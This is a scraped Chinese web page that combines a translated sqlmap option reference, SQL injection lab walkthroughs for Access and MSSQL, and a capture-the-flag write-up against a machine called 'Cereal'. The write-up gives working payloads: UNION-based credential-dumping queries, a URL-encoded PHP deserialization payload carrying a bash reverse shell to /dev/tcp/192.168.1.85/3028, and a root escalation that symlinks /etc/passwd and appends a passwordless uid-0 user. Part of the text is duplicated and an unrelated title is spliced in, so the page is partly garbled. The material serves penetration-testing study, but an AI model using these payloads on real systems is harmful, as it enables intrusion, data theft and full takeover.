-h, –help 显示此帮助消息并退出-v VERBOSE 详细级别:0-6(默认为1)保存进度继续跑:sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” 保存进度sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” –resume 恢复已保存进度
Target(目标)
以下至少需要设置其中一个选项,设置目标URL。-d DIRECT 直接连接到数据库。-u URL, –url=URL 目标URL。-l LIST 从Burp或WebScarab代理的日志中解析目标。-r REQUESTFILE 从一个文件中载入HTTP请求。-g GOOGLEDORK 处理Google dork的结果作为目标URL。-c CONFIGFILE 从INI配置文件中加载选项。
Request(请求)
这些选项可以用来指定如何连接到目标URL。–data=DATA 通过POST发送的数据字符串–cookie=COOKIE HTTP Cookie头–cookie-urlencode URL 编码生成的cookie注入–drop-set-cookie 忽略响应的Set – Cookie头信息–user-agent=AGENT 指定 HTTP User – Agent头–random-agent 使用随机选定的HTTP User – Agent头–referer=REFERER 指定 HTTP Referer头–headers=HEADERS 换行分开,加入其他的HTTP头–auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)–auth-cred=ACRED HTTP身份验证凭据(用户名:密码)–auth-cert=ACERT HTTP认证证书(key_file,cert_file)–proxy=PROXY 使用HTTP代理连接到目标URL–proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码)–ignore-proxy 忽略系统默认的HTTP代理–delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒–timeout=TIMEOUT 等待连接超时的时间(默认为30秒)–retries=RETRIES 连接超时后重新连接的时间(默认3)–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式–safe-url=SAFURL 在测试过程中经常访问的url地址–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL
Enumeration(枚举)
这些选项可以用来列举后端数据库管理系统的信息表中的结构和数据此外,您还可以运行您自己的SQL语句。-b, –banner 检索数据库管理系统的标识–current-user 检索数据库管理系统当前用户–current-db 检索数据库管理系统当前数据库–is-dba 检测DBMS当前用户是否DBA–users 枚举数据库管理系统用户–passwords 枚举数据库管理系统用户密码哈希–privileges 枚举数据库管理系统用户的权限–roles 枚举数据库管理系统用户的角色–dbs 枚举数据库管理系统数据库-D DBname 要进行枚举的指定数据库名-T TBLname 要进行枚举的指定数据库表(如:-T tablename –columns)–tables 枚举的DBMS数据库中的表–columns 枚举DBMS数据库表列–dump 转储数据库管理系统的数据库中的表项–dump-all 转储所有的DBMS数据库表中的条目–search 搜索列(S),表(S)和/或数据库名称(S)-C COL 要进行枚举的数据库列-U USER 用来进行枚举的数据库用户–exclude-sysdbs 枚举表时排除系统数据库–start=LIMITSTART 第一个查询输出进入检索–stop=LIMITSTOP 最后查询的输出进入检索–first=FIRSTCHAR 第一个查询输出字的字符检索–last=LASTCHAR 最后查询的输出字字符检索–sql-query=QUERY 要执行的SQL语句–sql-shell 提示交互式SQL的shell
Optimization(优化)
这些选项可用于优化SqlMap的性能。-o 开启所有优化开关–predict-output 预测常见的查询输出–keep-alive 使用持久的HTTP(S)连接–null-connection 从没有实际的HTTP响应体中检索页面长度–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)
Injection(注入)
这些选项可以用来指定测试哪些参数提供自定义的注入payloads和可选篡改脚本。-p TESTPARAMETER 可测试的参数(S)–dbms=DBMS 强制后端的DBMS为此值–os=OS 强制后端的DBMS操作系统为这个值–prefix=PREFIX 注入payload字符串前缀–suffix=SUFFIX 注入payload字符串后缀–tamper=TAMPER 使用给定的脚本(S)篡改注入数据
Detection(检测)
这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。–level=LEVEL 执行测试的等级(1-5,默认为1)–risk=RISK 执行测试的风险(0-3,默认为1)–string=STRING 查询时有效时在页面匹配字符串–regexp=REGEXP 查询时有效时在页面匹配正则表达式–text-only 仅基于在文本内容比较网页
Techniques(技巧)
这些选项可用于调整具体的SQL注入测试。–technique=TECH SQL注入技术测试(默认BEUST)–time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)–union-cols=UCOLS 定列范围用于测试UNION查询注入–union-char=UCHAR 用于暴力猜解列数的字符
Fingerprint(指纹)
-f, –fingerprint 执行检查广泛的DBMS版本指纹
Brute force(蛮力)
这些选项可以被用来运行蛮力检查。–common-tables 检查存在共同表–common-columns 检查存在共同列
User-defined function injection
(用户自定义函数注入)
这些选项可以用来创建用户自定义函数。–udf-inject 注入用户自定义函数–shared-lib=SHLIB 共享库的本地路径
File system access(访问文件系统)
这些选项可以被用来访问后端数据库管理系统的底层文件系统。–file-read=RFILE 从后端的数据库管理系统文件系统读取文件–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
Operating system access
(操作系统访问)
这些选项可以用于访问后端数据库管理系统的底层操作系统。–os-cmd=OSCMD 执行操作系统命令–os-shell 交互式的操作系统的shell–os-pwn 获取一个OOB shell,meterpreter或VNC–os-smbrelay 一键获取一个OOB shell,meterpreter或VNC–os-bof 存储过程缓冲区溢出利用–priv-esc 数据库进程用户权限提升–msf-path=MSFPATH Metasploit Framework本地的安装路径–tmp-path=TMPPATH 远程临时文件目录的绝对路径Windows注册表访问:这些选项可以被用来访问后端数据库管理系统Windows注册表。–reg-read 读一个Windows注册表项值–reg-add 写一个Windows注册表项值数据–reg-del 删除Windows注册表键值–reg-key=REGKEY Windows注册表键–reg-value=REGVAL Windows注册表项值–reg-data=REGDATA Windows注册表键值数据–reg-type=REGTYPE Windows注册表项值类型这些选项可以用来设置一些一般的工作参数。-t TRAFFICFILE 记录所有HTTP流量到一个文本文件中-s SESSIONFILE 保存和恢复检索会话文件的所有数据–flush-session 刷新当前目标的会话文件–fresh-queries 忽略在会话文件中存储的查询结果–eta 显示每个输出的预计到达时间–update 更新SqlMap–save file保存选项到INI配置文件–batch 从不询问用户输入,使用所有默认配置。
Miscellaneous(杂项)
–beep 发现SQL注入时提醒–check-payload IDS对注入payloads的检测测试–cleanup SqlMap具体的UDF和表清理DBMS–forms 对目标URL的解析和测试形式–gpage=GOOGLEPAGE 从指定的页码使用谷歌dork结果–page-rank Google dork结果显示网页排名(PR)–parse-errors 从响应页面解析数据库管理系统的错误消息–replicate 复制转储的数据到一个sqlite3数据库–tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址–wizard 给初级用户的简单向导界面
思维导图
涉及资源https://www.cnblogs.com/bmjoke ... %3Bbr />https://blog.csdn.net/qq_39936 ... .html
案例演示1. Access注入用sqlmap判断数据库类型
尝试猜字段数,order by 5时网页有回显,所以字段数为4:46604/new_list.asp?id=1 order by 5
Access只是单纯的数据库,只有数据,没有数据库名,数据库版本,操作系统等功能,没有information_shcema。可直接查询数据,获取表名,列名。尝试联合注入查询时没有反应:46604/new_list.asp?id=-1 union select 1,2,3,4
用猜解方式猜解表名,列名(常用的一些表名,如admin,admin_login等)网页出现回显:46604/new_list.asp?id=-1 union select 1,2,3,4 from admin
在回显位尝试猜解字段
使用sqlmap跑出来的结果是一样的:sqlmap -u :49010/new_list.asp?id=1 -T admin --colimns
sqlmap -u :49010/new_list.asp?id=1 -T admin -C username,passwd --dump
2. Access偏移注入偏移注入的使用目前猜测出了表名,但是怎么都猜不出列名,使用联合查询法来进行偏移注入
接下来测出偏移量,其实这个偏移量就是admin这张表的列的个数。直接将22改成*号,测试是否回显正常,不正常就一直往前减,一直减少到回显正常为止。
这里运气比较好,直接就爆出了密码。但是还没有用户名呢,那么接下来可以打乱顺序来重置爆出来的结果,这里可以使用下列方法来进行完成。
从图中可以看出已经爆出了用户名为admin了
简单说下语句UNION SELECT 1,2,3,* from (admin as a inner join admin as b on a.id=b.id),首先为什么从union select 1,2,3,4,5,6,* from变成了1,2,3,*呢是这样推导出来的:order by 9代表有9个回显点1,2,3,4,5,6,*代表admin表的字段数只有3个admin表变成了(admin as a inner join admin as b on a.id=b.id)这里是将admin重命名为了a和b两张表然后通过inner join 将a表和b表的id相同字段展示出来a表和b表本来都是admin表所以id肯定都是相同的(这里要提醒一下,id这个字段可以换成其它字段,但是一定得存在,一般admin表中都存在id字段的)这样做的目的就是可以打乱顺序来爆出其它字段但是由于增加了一张表所以字段数得再减少一个*号的长度所以就从6变成了3
3.偏移注入的进阶
这样爆东西非常有随机性如果表的字段比较多而这个显示位又比较少的话是很有可能爆不出自己想要的东西的所以接下来学习偏移注入进阶同样通过order by 和union select找到了表为admin但是还是扫不出列名,这次回显点有22个
测试admin的列的个数,最终长度为6,而且这次什么都没爆出来
开始偏移注入,爆出的结果却是时间
此时可以增加a.id或者b.id或者a.id和b.id一起加上去来打乱随机的顺序,时间确实换了,但是又不是我们想要的,这只是一个数字,可能是id值之类的
查看网页的源代码,会有隐藏的惊喜
发现这里有隐藏起来的回显点,爆出来了用户名为admin,但是还没有密码增加表的个数,修改代码,UNION SELECT 1,2,3,4,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id),查看源代码,成功拿到用户名和密码了。
3. SQL server/mssql
https://www.mozhe.cn/bug/detai ... mozhe
通过pangolin获取所需数据:
还可以进行命令执行和文件管理
key
##手工注入判断是否是Mssql判断是否是mssql数据库,返回正常,说明该数据库是mssql
判断数据库版本号,返回正常,说明版本号正确
判断字段长度order by 4正常,遍历至5时报错,说明字段长度为4
寻找字符型显示位:44626/new_list.asp?id=-2 union all select null,null,null,null这里使用的是 union all,它和 union select 的区别就是:union select 会自动去除一些重复的字段,在这个靶场使用 union select 是不行的,所以用 union all。使用null 是说明它无关是字符型还是数字型
猜测显示位:44626/new_list.asp?id=-2 union all select '1',null,null,null
:44626/new_list.asp?id=-2 union all select null,'2',null,null
:44626/new_list.asp?id=-2 union all select null,'2','3',null
查询相关信息获取版本信息:44626/new_list.asp?id=-2 union all select null,@@version,'3',null
获取数据库名:44626/new_list.asp?id=-2 union all select null,db_name(),'3',null
获取当前用户名:44626/new_list.asp?id=-2 union all select null,user,'3',null:44626/new_list.asp?id=-2 union all select null,system_user,'3',null:44626/new_list.asp?id=-2 union all select null,current_user,'3',null
查询表名:44626/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4
:44626/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),'3',4注释:name not in ('manage') 这段语句意思是查询 name 不是 'manage' 的,这样就可以排除 'manage' 从而查询下一个表名
announcement之后还是manage,说明就这俩表
获取列名:44626/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null注释:col_name 是查询的列名,object_id('manage')是从manage这个表里查询,1 代表的是查询第一个列名
这边查询出来第一个列名是 id,我们继续查第二个列名只需要把数字1修改为2就行了col_name(object_id('manage'),2:44626/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null
查询出来第二个列名是 username,我们继续查询第三个列名::44626/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),null,null
获取数据:44626/new_list.asp?id=-2 union all select null,username,password,null from manage
4. PostgraSQL字段
sqlmap判断数据库种类
查看表名
查看字段名
查看字段值
5. oracle
6. mongoDBNoSQLAttack支持mongoDB的注入工具
然后输入x返回,输入4进入
往期内容回顾
大哥大哥行行好
一万字也不算少如有帮助请随意打赏
php抓取网页数据插入数据库 外壳坚硬的谷子
网站优化 • 优采云 发表了文章 • 0 个评论 • 75 次浏览 • 2022-06-21 00:51
发现了一个java_script脚本(实际渗透工作中应该关注此脚本内容,能够透出出后端的信息)
里面的内容大致的意思是
通过函数,提交表单,通过序列化的操作!IP地址等信息交给ipaddres这个变量序列化的操作!
那么在这里面既然有序列化的操作,是否会存在一个反序列化的漏洞类型呢?
这里还看到了一个被包含的js的文件
点击这个链接 :44441/php.js"
里面的内容大致就是序列化函数,大概率存在序列化操作
先对其页面进行功能化测试,输入127.0.0.1
在结果框中输出了结果
输入一些运营商的DNS的IP地址
结果显示出来,从结果上来看,就是通过操作系统的ping 命令操作得来的!
总的来说这就是一个ping的功能界面(输入Ip ,统计输出一些信息是由服务端调用了系统的ping 命令而来)
这个地方是否会存在命令注入漏洞呢?
使用;号,|管道符这样的连接命令,连接一个系统id的命令
如图:没有任何返回
使用burp抓取请求报文,看一下内部的流量变化,是否存在序列化的数据
先把浏览器代理设置好
通过抓取的报文,得到的是一个POST的请求方式;
携带了一个obj的对象和一个ip 的变量要提交到服务端;
其中这个obj的对象里的内容经过了url编码,将它转换成可识别的路径
转换结果,懂得序列化格式的朋友一看就是php文件之后的序列化数据的格式了
pingTest :序列化对象定义的的类
1 :代表类中一个数据的提交
ipAddress :类中提交的一个数据的变量名称
s : 代表了序列化
9 : 代表了名称ipAddress 和 127.0.0.1字符串的长度。
这就是客户端发送的序列化数据格式到服务端,服务端收到了127.0.0.1这个IP 去完成Ping,然后返回给客户端的一个过程!
如果觉得burp字体小,可以调的大一些
重新抓取一个请求报文,在表单中输入 127.0.0.1;id(增加了注入命令)
在抓取的请求报文中,将obj和ip 这两个类中序列化数据解码成可识别的url,看看有什么变化
序列化的格式基本没变,变化的就是赋值多了;id 这样的内容,字符长度也增加到了12个;
证明了表单中输入注入命令的这些内容,由java_script脚本原封不动的变成序列化的内容。
转发后,服务端并没有执行该序列化的内容
证明服务端对ip地址这样的格式存在检查机制!
为了弄清这个问题,将这个原始的命令发送请求发送给repeater
url被转换后,在repeater中点击send发送给服务端
在重放的界面中,可以构造一些注入命令;
我在这里添加 | ls ,发现服务端的响应报文有500的状态码
改变了字符的长度,虽然不是状态码500的状态码,但是回显页面是黑屏
反序列化的漏洞特征在黑盒测试下,是十分难获取,除非拿到源码!
那么接下来,就需要再目标靶机中找源码,在实际的渗透工作中,源码的存储路径默认在根路径下的.git或者.svn这样的版本库里
先停止burp的截断功能;
访问浏览器,查看是否有git的版本库文件,结果没有提示
查看.svn 也没有
再回想之前的信息收集,中曾描述了这么一段话:让我们关注其备份文件
再次使用dirbuster这个工具对secure.cereal.ctf:44441这个路径下进行隐藏路径和扩展名的爬取,携带体型较大的字典文件
在最终的爬取结果中,看到一些之前没有被爬取出的备份文件路径(根据计算机配置,时间长短不一!)
先访问/icons/small的路径,访问路径看起来但只是有一些小图片,这对渗透没有什么价值;
再针对/back_en这个路径进行隐藏路径的爬取,这里面是否会存在一些备份文件呢,还是利用dirbuster,只不过更换一个小体积的密码字典文件,携带查询扩展名为bak
寻找到了一个index.php.bak,并且这个http状态码是200 (这个状态显示该资源是存在的,并且能够请求到!)
既然发现了这一个文件,回到kali中,使用wget进行下载.index.php.bak
查看文件类型,看起来就是一个php的脚本文件,只不过增加了一个扩展名!
使用kali的文本编辑器mousepad打开该文件
看起来是一个带有php标签的php语言文件;
查看该php源码文件,发现有html标签文件
其中有java脚本文件中的一些序列化操作函数
源码审计分析
class pingTest ---定义了类(反序列化对象的类)
public $ipAddress = "127.0.0.1";--变量名称和赋值
public $isValid = False; -- 校验是失败的
public $output = ""; -- 空值
这是之前抓取的报文中obj对象中有的内容
function validate() {-- 定义了一个函数
if (!$this->isValid) { -- 校验isValid函数是真还是假
if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
{-- 使用过滤器对传入的IpAddress使用方法(使用filter_var进行判断)
$this->isValid = True;--fileter_var函数校验赋值若成功,将这个valid值变为True
}
}
$this->ping(); -- 执行Ping的命令;
}
public function ping() -- 以下是ping 的命令函数具体操作内容
{
if ($this->isValid) { -- isValid 若是 True
$this->output = shell_exec("ping -c 3 $this->ipAddress"); -- 执行内容就是使用ping 三个报文;
这里需要明白的是过滤器FILTERVALIDATE_IP 里的内容是在目标靶机中别的文件里进行定义的,其作用就是判断输入的内容是不是真正的IP,若是真正的IP,就将isValid改为True;
当post请求接收到来自obj请求的赋值时,进行一个解码的操作
f (isset($_POST['obj'])) {
$pingTest = unserialize -- 反序列化操作
(urldecode($_POST['obj'])); --解码
} else {
$pingTest = new pingTest; -- 新的赋值
}
$pingTest->validate(); --调用vali
分析完成后,攻击思路的重点放在提交的数据(IP地址)校验结果取决于与isvalid判定的结果,在源码文件中,默认isValid = False,若是生成一个序列化的数据,声明isValid值就等于True,这样的话,就会执行ping命令了!
实现绕过服务端的检查!
反序列化漏洞的利用方法
先在客户端上生成一个序列化的数据序列(内容中需要声明类,调用类创建一个新的序列化对象,,对象中的valid指定true,注入Ip地址后添加系统指令)实现饶过isValid真假的校验。
在kali上新建一个生成序列化的php文件,写一个ser1.php的php的代码
运行该php文件
生成了一个序列,将这个序列化的内容拷贝O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
将序列化内容粘贴到截获的报文之中去
将这个url 地址转换一下
能够看到有两个键值对 ipaddress 和isvalid
b=1 为布尔值,代表了真的意思!
点击发送,服务端返回了http状态码200
再观察服务端渲染回来的界面结果,看起来,是执行成功了!
再次验证结果,将生成序列化里的内容,稍作修改,将ipaddress改成另外一个Ip地址,(注意,如果改202.106.0.20这个IP,字符长度就要从原来的9变为12)要不然服务端会回显500的状态码!
结果成功!
由此,可以证明构造序列化的数据向服务端提交请求!,ip地址后面加入一些系统指令,来进一步证明!
这里我在223.5.5.5后面增加了 ;id
服务端回显了200的状态码
渲染界面里提示成功!
观察服务端回显的回应源数据文件
id的命令被执行了,目标靶机的第一个用户身份是apache的用户名称
因此,就可以在此处插入更多的指令
查看目标靶机中是否有nc的命令?
结果命令没有回显
由于插入常规的反弹shell 会导致字符长度过长,出于简单的目的,使用bash直接连接,产生网络连接的方式!
输入以下内容:
在kali中继续修改ser1.php文件
保存ser1.php文件后,在kali上开启侦听3028端口
再次运行 ser1.php文件,生成一个新的序列化数据O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A52%3A%22127.0.0.1%7Cbash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.1.85%2F3028+0%3E%261%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
将这个序列化的数据内容插入的repter之中,点击发送!
如图所示:获得了一个反弹shell的链接!身份是apche
本地提权
先收获第一个flag!
查看操作系统版本
查看 sudo 权限以及寻找suid文件漏洞,都没有得到有效的线索!
查看 目标系统内的所有用户
发现有一个rocky的用户可以登录系统!
查看rocky用户下的所有文件
重点放在了public_html下的文件,可以看到44441端口下的一些文件
进入到该文件目录,查看index.php 这个文件,发现内容和我之前下载的那个文件内容一样!类中的定义也是一样的!
查看目标靶机的系统进程
没有发现可利用的线索 (mysql用的是非root)
目标靶机启用了大量的端口!
这就是在端口扫描阶段,端口结果没有应用的原因!靶机作者用nc空开了许多无用的端口!
在漫长的信息收集后,决定使用一个监视目标靶机进程产生的工具
pspy64一个linux系统进程监控工具
下载地址:
部分网络环境需要挂的代理访问
百度云下载地址:
提取码:1zrs
从该软件的自述文件可以得知,不需要root身份就可以监控用户(操作系统)的新的进程创建,符合目前靶机的情况,来搜寻后台的进程-crond,这些后台进程会运行脚本文件(这些进程是root身份运行,比如定时任务什么的)
我现将这个软件上传到我的kali上去,因为目标靶机的系统是64位,因此我下载的这个Pspy也是64位的!
先查看目标靶机的定时任务和root下的定时任务
在root下提示是没有权限的!
将pspy64这个文件上传到目标靶机之中,查看目标靶机系统是否会在一段时间过后,自动创建一些后台进程(这些进程由root身份运行的呢?)
通过观察,在这个路径下,我目前的身份是apache ,而这些文件的用户组是apche,是拥有所有的权限的,包括了写入的权限!
因此,我利用nc 来接收这个pspy64文件
bash-4.4$ nc -nvlp 3030 > pspy
传入成功
nc 192.168.1.74 3030 < /home/fengxin/桌面/pspy64 -w 1
增加执行权限到pspy文件~
启动改文件 ./pspy
这个启动和执行过程需要等待一会,系统会不会有新的进程出现
!
1:33
在后台进程中,我发现了一个叫做chown.sh的脚本,众所周知chown是linux的一个命令
这应该是管理员自己创建的一个脚本文件
/bin/bash /usr/share/scripts/chown.sh
我在kali上监听3031端口,增加一个反弹shell的连接
修改之前抓取的obj对象里数据内容,将之前触发序列化漏洞的数据,有一个端口改为3031
查看目标靶机里的文件,能够查看到这个文件的权限是可以被其他用户所读取
查看该chown.sh文件
看起来是将周期性的这个/home/rocky/public_html/* 这个目标文件夹下所有的文件权限改成属主是rocky,属组是apache
这就是我之前有一个chmod +x 执行失败的原因,正好赶上周期性的将这个目录下所有文件的属主和属组改变,让我无法修改
一个周期过后,我在看这个public_html下所有的文件的属主和属组都发生了变化!
那么,这个命令脚本内容对目前渗透有什么帮助呢?
软连接这个命令这个时候就派上了用场!
先来看一下系统的/etc/passwd这个文件的属主和属组
在kali上只有root用户有可读可写权限,其他的只有读的权限
在目标靶机中的这个/etc/passwd文件是属主和属组拥有完全权限!
难么在靶机的这个/home/rocky/public_html下也新建一个Passwd文件,并连接到/etc/passwd呢?
ln -sf /etc/passwd ./passwd
这个chown.sh脚本在周期性的执行,会把这个/home/rokcy/public_html下的passwd文件属主改为rocky, 属组改为apache!
等待一段时间观察,监控到chown脚本周期执行,权限会发生变化,
可是图中的passd权限却没有发生变化!
按照理论目标靶机的/etc/passwd这个文件的属主和属组也会被修改成rokcy和apache的!
观察,/etc/passwd这个文件的属主和属组变化了!
这样的话就可以将root密码设为空了!
因为当前获得的反弹shell 不太稳定
我这里新建一个用户,密码占位符x 删除掉,不需要密码,使用的是uid和gid都为0的设置,了解linux用户属性的都知道uid=0 gid=0 的账号一定是root角色,并将这些信息追加到/etc/passwd中去
echo "daidai::0:0:root:/root:/bin/bash" >> /etc/passwd
最后查看passwd文件,注入成功!
最后使用su命令,切换到daidai这个用户
提权成功,获取flag
到此结束,打靶结束!
查看全部
php抓取网页数据插入数据库 外壳坚硬的谷子
发现了一个java_script脚本(实际渗透工作中应该关注此脚本内容,能够透出出后端的信息)
里面的内容大致的意思是
通过函数,提交表单,通过序列化的操作!IP地址等信息交给ipaddres这个变量序列化的操作!
那么在这里面既然有序列化的操作,是否会存在一个反序列化的漏洞类型呢?
这里还看到了一个被包含的js的文件
点击这个链接 :44441/php.js"
里面的内容大致就是序列化函数,大概率存在序列化操作
先对其页面进行功能化测试,输入127.0.0.1
在结果框中输出了结果
输入一些运营商的DNS的IP地址
结果显示出来,从结果上来看,就是通过操作系统的ping 命令操作得来的!
总的来说这就是一个ping的功能界面(输入Ip ,统计输出一些信息是由服务端调用了系统的ping 命令而来)
这个地方是否会存在命令注入漏洞呢?
使用;号,|管道符这样的连接命令,连接一个系统id的命令
如图:没有任何返回
使用burp抓取请求报文,看一下内部的流量变化,是否存在序列化的数据
先把浏览器代理设置好
通过抓取的报文,得到的是一个POST的请求方式;
携带了一个obj的对象和一个ip 的变量要提交到服务端;
其中这个obj的对象里的内容经过了url编码,将它转换成可识别的路径
转换结果,懂得序列化格式的朋友一看就是php文件之后的序列化数据的格式了
pingTest :序列化对象定义的的类
1 :代表类中一个数据的提交
ipAddress :类中提交的一个数据的变量名称
s : 代表了序列化
9 : 代表了名称ipAddress 和 127.0.0.1字符串的长度。
这就是客户端发送的序列化数据格式到服务端,服务端收到了127.0.0.1这个IP 去完成Ping,然后返回给客户端的一个过程!
如果觉得burp字体小,可以调的大一些
重新抓取一个请求报文,在表单中输入 127.0.0.1;id(增加了注入命令)
在抓取的请求报文中,将obj和ip 这两个类中序列化数据解码成可识别的url,看看有什么变化
序列化的格式基本没变,变化的就是赋值多了;id 这样的内容,字符长度也增加到了12个;
证明了表单中输入注入命令的这些内容,由java_script脚本原封不动的变成序列化的内容。
转发后,服务端并没有执行该序列化的内容
证明服务端对ip地址这样的格式存在检查机制!
为了弄清这个问题,将这个原始的命令发送请求发送给repeater
url被转换后,在repeater中点击send发送给服务端
在重放的界面中,可以构造一些注入命令;
我在这里添加 | ls ,发现服务端的响应报文有500的状态码
改变了字符的长度,虽然不是状态码500的状态码,但是回显页面是黑屏
反序列化的漏洞特征在黑盒测试下,是十分难获取,除非拿到源码!
那么接下来,就需要再目标靶机中找源码,在实际的渗透工作中,源码的存储路径默认在根路径下的.git或者.svn这样的版本库里
先停止burp的截断功能;
访问浏览器,查看是否有git的版本库文件,结果没有提示
查看.svn 也没有
再回想之前的信息收集,中曾描述了这么一段话:让我们关注其备份文件
再次使用dirbuster这个工具对secure.cereal.ctf:44441这个路径下进行隐藏路径和扩展名的爬取,携带体型较大的字典文件
在最终的爬取结果中,看到一些之前没有被爬取出的备份文件路径(根据计算机配置,时间长短不一!)
先访问/icons/small的路径,访问路径看起来但只是有一些小图片,这对渗透没有什么价值;
再针对/back_en这个路径进行隐藏路径的爬取,这里面是否会存在一些备份文件呢,还是利用dirbuster,只不过更换一个小体积的密码字典文件,携带查询扩展名为bak
寻找到了一个index.php.bak,并且这个http状态码是200 (这个状态显示该资源是存在的,并且能够请求到!)
既然发现了这一个文件,回到kali中,使用wget进行下载.index.php.bak
查看文件类型,看起来就是一个php的脚本文件,只不过增加了一个扩展名!
使用kali的文本编辑器mousepad打开该文件
看起来是一个带有php标签的php语言文件;
查看该php源码文件,发现有html标签文件
其中有java脚本文件中的一些序列化操作函数
源码审计分析
class pingTest ---定义了类(反序列化对象的类)
public $ipAddress = "127.0.0.1";--变量名称和赋值
public $isValid = False; -- 校验是失败的
public $output = ""; -- 空值
这是之前抓取的报文中obj对象中有的内容
function validate() {-- 定义了一个函数
if (!$this->isValid) { -- 校验isValid函数是真还是假
if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
{-- 使用过滤器对传入的IpAddress使用方法(使用filter_var进行判断)
$this->isValid = True;--fileter_var函数校验赋值若成功,将这个valid值变为True
}
}
$this->ping(); -- 执行Ping的命令;
}
public function ping() -- 以下是ping 的命令函数具体操作内容
{
if ($this->isValid) { -- isValid 若是 True
$this->output = shell_exec("ping -c 3 $this->ipAddress"); -- 执行内容就是使用ping 三个报文;
这里需要明白的是过滤器FILTERVALIDATE_IP 里的内容是在目标靶机中别的文件里进行定义的,其作用就是判断输入的内容是不是真正的IP,若是真正的IP,就将isValid改为True;
当post请求接收到来自obj请求的赋值时,进行一个解码的操作
f (isset($_POST['obj'])) {
$pingTest = unserialize -- 反序列化操作
(urldecode($_POST['obj'])); --解码
} else {
$pingTest = new pingTest; -- 新的赋值
}
$pingTest->validate(); --调用vali
分析完成后,攻击思路的重点放在提交的数据(IP地址)校验结果取决于与isvalid判定的结果,在源码文件中,默认isValid = False,若是生成一个序列化的数据,声明isValid值就等于True,这样的话,就会执行ping命令了!
实现绕过服务端的检查!
反序列化漏洞的利用方法
先在客户端上生成一个序列化的数据序列(内容中需要声明类,调用类创建一个新的序列化对象,,对象中的valid指定true,注入Ip地址后添加系统指令)实现饶过isValid真假的校验。
在kali上新建一个生成序列化的php文件,写一个ser1.php的php的代码
运行该php文件
生成了一个序列,将这个序列化的内容拷贝O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
将序列化内容粘贴到截获的报文之中去
将这个url 地址转换一下
能够看到有两个键值对 ipaddress 和isvalid
b=1 为布尔值,代表了真的意思!
点击发送,服务端返回了http状态码200
再观察服务端渲染回来的界面结果,看起来,是执行成功了!
再次验证结果,将生成序列化里的内容,稍作修改,将ipaddress改成另外一个Ip地址,(注意,如果改202.106.0.20这个IP,字符长度就要从原来的9变为12)要不然服务端会回显500的状态码!
结果成功!
由此,可以证明构造序列化的数据向服务端提交请求!,ip地址后面加入一些系统指令,来进一步证明!
这里我在223.5.5.5后面增加了 ;id
服务端回显了200的状态码
渲染界面里提示成功!
观察服务端回显的回应源数据文件
id的命令被执行了,目标靶机的第一个用户身份是apache的用户名称
因此,就可以在此处插入更多的指令
查看目标靶机中是否有nc的命令?
结果命令没有回显
由于插入常规的反弹shell 会导致字符长度过长,出于简单的目的,使用bash直接连接,产生网络连接的方式!
输入以下内容:
在kali中继续修改ser1.php文件
保存ser1.php文件后,在kali上开启侦听3028端口
再次运行 ser1.php文件,生成一个新的序列化数据O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A52%3A%22127.0.0.1%7Cbash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.1.85%2F3028+0%3E%261%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
将这个序列化的数据内容插入的repter之中,点击发送!
如图所示:获得了一个反弹shell的链接!身份是apche
本地提权
先收获第一个flag!
查看操作系统版本
查看 sudo 权限以及寻找suid文件漏洞,都没有得到有效的线索!
查看 目标系统内的所有用户
发现有一个rocky的用户可以登录系统!
查看rocky用户下的所有文件
重点放在了public_html下的文件,可以看到44441端口下的一些文件
进入到该文件目录,查看index.php 这个文件,发现内容和我之前下载的那个文件内容一样!类中的定义也是一样的!
查看目标靶机的系统进程
没有发现可利用的线索 (mysql用的是非root)
目标靶机启用了大量的端口!
这就是在端口扫描阶段,端口结果没有应用的原因!靶机作者用nc空开了许多无用的端口!
在漫长的信息收集后,决定使用一个监视目标靶机进程产生的工具
pspy64一个linux系统进程监控工具
下载地址:
部分网络环境需要挂的代理访问
百度云下载地址:
提取码:1zrs
从该软件的自述文件可以得知,不需要root身份就可以监控用户(操作系统)的新的进程创建,符合目前靶机的情况,来搜寻后台的进程-crond,这些后台进程会运行脚本文件(这些进程是root身份运行,比如定时任务什么的)
我现将这个软件上传到我的kali上去,因为目标靶机的系统是64位,因此我下载的这个Pspy也是64位的!
先查看目标靶机的定时任务和root下的定时任务
在root下提示是没有权限的!
将pspy64这个文件上传到目标靶机之中,查看目标靶机系统是否会在一段时间过后,自动创建一些后台进程(这些进程由root身份运行的呢?)
